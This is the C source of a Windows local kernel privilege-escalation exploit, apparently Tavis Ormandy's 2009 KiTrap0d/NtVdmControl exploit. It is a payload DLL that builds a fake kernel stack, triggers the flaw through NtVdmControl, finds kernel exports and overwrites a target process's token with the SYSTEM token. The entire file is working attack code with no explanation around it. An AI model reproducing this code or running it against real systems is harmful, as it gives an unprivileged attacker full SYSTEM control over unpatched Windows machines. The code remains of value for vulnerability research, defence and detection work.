// // -------------------------------------------------- // Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit // -------------------------------------------- taviso@sdf.lonestar.org --- // // Tavis Ormandy, June 2009. // // Tested on: // $ cmd /c ver // Microsoft Windows [Version 5.2.3790] // // This file contains the exploit payload and VDM Subsystem control routines. // #ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h #endif #include #include #include #include #include #include #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #include // Process to escalate to SYSTEM static DWORD TargetPid; // Pointer to fake kernel stack. static PDWORD KernelStackPointer; #define KernelStackSize 1024 // Enforce byte alignment by default #pragma pack(1) // Kernel module handle static HMODULE KernelHandle; // Eflags macros #define EFLAGS_CF_MASK 0x00000001 // carry flag #define EFLAGS_PF_MASK 0x00000004 // parity flag #define EFLAGS_AF_MASK 0x00000010 // auxiliary carry flag #define EFLAGS_ZF_MASK 0x00000040 // zero flag #define EFLAGS_SF_MASK 0x00000080 // sign flag #define EFLAGS_TF_MASK 0x00000100 // trap flag #define EFLAGS_IF_MASK 0x00000200 // interrupt flag #define EFLAGS_DF_MASK 0x00000400 // direction flag #define EFLAGS_OF_MASK 0x00000800 // overflow flag #define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level #define EFLAGS_NT_MASK 0x00004000 // nested task #define EFLAGS_RF_MASK 0x00010000 // resume flag #define EFLAGS_VM_MASK 0x00020000 // virtual 8086 mode #define EFLAGS_AC_MASK 0x00040000 // alignment check #define EFLAGS_VIF_MASK 0x00080000 // virtual interrupt flag #define EFLAGS_VIP_MASK 0x00100000 // virtual interrupt pending #define EFLAGS_ID_MASK 0x00200000 // identification flag #ifndef PAGE_SIZE # define PAGE_SIZE 0x1000 #endif // http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h enum { VdmStartExecution = 0, VdmInitialize = 3 }; VOID FirstStage(); BOOL InitializeVdmSubsystem(); PVOID KernelGetProcByName(PSTR); BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL); BOOL CheckAndReplace(PDWORD, DWORD, DWORD, DWORD); DWORD ethreadOffsets[] = { 0x6, // WinXP SP3, VistaSP2 0xA // Windows 7, VistaSP1 }; // This routine is where I land after successfully triggering the vulnerability. VOID FirstStage() { FARPROC DbgPrint; FARPROC PsGetCurrentThread; FARPROC PsGetCurrentProcessId; FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit; FARPROC PsLookupProcessByProcessId; FARPROC PsReferencePrimaryToken; FARPROC ZwTerminateProcess; PVOID CurrentProcess; PVOID CurrentThread; PVOID TargetProcess, *PsInitialSystemProcess; DWORD StackBase, StackLimit, NewStack; DWORD i; LIST_ENTRY *ThreadListHead; HANDLE pid; HANDLE pret; // Keep interrupts off until I've repaired my KTHREAD. __asm cli // Resolve some routines I need from the kernel export directory DbgPrint = KernelGetProcByName("DbgPrint"); PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread"); PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase"); PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit"); PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess"); PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId"); PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken"); ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess"); CurrentThread = (PVOID) PsGetCurrentThread(); StackLimit = (DWORD) PsGetCurrentThreadStackLimit(); StackBase = (DWORD) PsGetCurrentThreadStackBase(); //DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n", // CurrentThread, // StackBase, // StackLimit); NewStack = StackBase - ((StackBase - StackLimit) / 2); // First I need to repair my CurrentThread, find all references to my fake kernel // stack and repair them. Note that by "repair" I mean randomly point them // somewhere inside the real stack. // Walk only the offsets that could possibly be bad based on testing, and see if they need // to be swapped out. O(n^2) -> O(c) wins the race! for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) { CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]), (DWORD) &KernelStackPointer[0], (DWORD) &KernelStackPointer[KernelStackSize - 1], (DWORD) NewStack); } // Find the EPROCESS structure for the process I want to escalate if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { PACCESS_TOKEN SystemToken; PACCESS_TOKEN TargetToken; // What's the maximum size the EPROCESS structure is ever likely to be? CONST DWORD MaxExpectedEprocessSize = 0x200; // DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess); //DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess); // Find the Token object for my target process, and the SYSTEM process. TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken); //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken); // Find the token in the target process, and replace with the system token. FindAndReplaceMember((PDWORD) TargetProcess, (DWORD) TargetToken, (DWORD) SystemToken, MaxExpectedEprocessSize, TRUE); // Success pret = 'w00t'; } else { // Maybe the user closed the window? // Report this failure pret = 'LPID'; } __asm { mov eax, -1 // ZwCurrentProcess macro returns -1 mov ebx, NewStack mov ecx, pret mov edi, ZwTerminateProcess mov esp, ebx // Swap the stack back to kernel-land mov ebp, ebx // Swap the frame pointer back to kernel-land sub esp, 256 push ecx // Push the return code push eax // Push the process handle sti // Restore interrupts finally call edi // Call ZwTerminateProcess __emit 0xCC; // Hope we never end up here } } // Search the specified data structure for a member with CurrentValue. BOOL FindAndReplaceMember(PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs) { DWORD i, Mask; // Microsoft QWORD aligns object pointers, then uses the lower three // bits for quick reference counting (nice trick). Mask = ObjectRefs ? ~7 : ~0; // Mask out the reference count. CurrentValue &= Mask; // Scan the structure for any occurrence of CurrentValue. for (i = 0; i < MaxSize; i++) { if ((Structure[i] & Mask) == CurrentValue) { // And finally, replace it with NewValue. Structure[i] = NewValue; return TRUE; } } // Member not found. return FALSE; } BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value) { if (*checkMe >= rangeStart && *checkMe <= rangeEnd) { *checkMe = value; return TRUE; } else { return FALSE; } } // Find an exported kernel symbol by name. PVOID KernelGetProcByName(PSTR SymbolName) { PUCHAR ImageBase; PULONG NameTable; PULONG FunctionTable; PUSHORT OrdinalTable; PIMAGE_EXPORT_DIRECTORY ExportDirectory; PIMAGE_DOS_HEADER DosHeader; PIMAGE_NT_HEADERS PeHeader; DWORD i; ImageBase = (PUCHAR) KernelHandle; DosHeader = (PIMAGE_DOS_HEADER) ImageBase; PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew); ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // Find required tablesa from the ExportDirectory. NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames); FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions); OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals); // Scan each entry for a matching name. for (i = 0; i < ExportDirectory->NumberOfNames; i++) { PCHAR Symbol = ImageBase + NameTable[i]; if (strcmp(Symbol, SymbolName) == 0) { // Symbol found, return the appropriate entry from FunctionTable. return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]); } } // Symbol not found, this is likely fatal :-( return NULL; } // Exploit entrypoint. BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved) { CONST DWORD MinimumExpectedVdmTibSize = 0x200; CONST DWORD MaximumExpectedVdmTibSize = 0x800; FARPROC NtVdmControl; DWORD KernelStack[KernelStackSize]; DWORD Ki386BiosCallReturnAddress; CHAR Pid[32], Off[32], Krn[32]; struct { ULONG Size; PVOID Padding0; PVOID Padding1; CONTEXT Padding2; CONTEXT VdmContext; DWORD Padding3[1024]; } VdmTib; FillMemory(&VdmTib, sizeof VdmTib, 0); FillMemory(&KernelStack, sizeof KernelStack, 0); // // XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk. // With a buffer full of NULLs, the exploit never finds the right size. // This will require a more work to resolve, for just keep the padding zero'd // Parent passes parameters via environment variables. // // - VDM_TARGET_PID // Pid of the process to transplant a SYSTEM token onto. // - VDM_TARGET_OFF // Offset from ntoskrnl of Ki386BiosCallReturnAddress. // - VDM_TARGET_KRN // Ntoskrnl base address. GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid); GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn); GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off); NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl"); TargetPid = strtoul(Pid, NULL, 0); // Setup the fake kernel stack, and install a minimal VDM_TIB, KernelStackPointer = KernelStack; KernelStack[0] = (DWORD) &KernelStack[8]; // Esp KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb KernelStack[7] = (DWORD) FirstStage; // RetAddr KernelHandle = (HMODULE) strtoul(Krn, NULL, 0); VdmTib.Size = MinimumExpectedVdmTibSize; *NtCurrentTeb()->Reserved4 = &VdmTib; // Initialize the VDM Subsystem. InitializeVdmSubsystem(); VdmTib.Size = MinimumExpectedVdmTibSize; VdmTib.VdmContext.SegCs = 0x0B; VdmTib.VdmContext.Esi = (DWORD) &KernelStack; VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0); VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK; *NtCurrentTeb()->Reserved4 = &VdmTib; // Allow thread initialization to complete. Without is, there is a chance // of a race in KiThreadInitialize's call to SwapContext Sleep(1000); // Trigger the vulnerable code via NtVdmControl(). while (VdmTib.Size++ < MaximumExpectedVdmTibSize) { NtVdmControl(VdmStartExecution, NULL); } // Unable to find correct VdmTib size. ExitThread('VTIB'); } // Setup a minimal execution environment to satisfy NtVdmControl(). BOOL InitializeVdmSubsystem() { FARPROC NtAllocateVirtualMemory; FARPROC NtFreeVirtualMemory; FARPROC NtVdmControl; PBYTE BaseAddress; ULONG RegionSize; static DWORD TrapHandler[128]; static DWORD IcaUserData[128]; static struct { PVOID TrapHandler; PVOID IcaUserData; } InitData; NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory"); NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory"); NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl"); BaseAddress = (PVOID) 0x00000001; RegionSize = (ULONG) 0x00000000; InitData.TrapHandler = TrapHandler; InitData.IcaUserData = IcaUserData; // Remove anything currently mapped at NULL NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE); BaseAddress = (PVOID) 0x00000001; RegionSize = (ULONG) 0x00100000; // Allocate the 1MB virtual 8086 address space. if (NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) { ExitThread('NTAV'); return FALSE; } // Finalise the initialisation. if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) { ExitThread('VDMC'); return FALSE; } return TRUE; }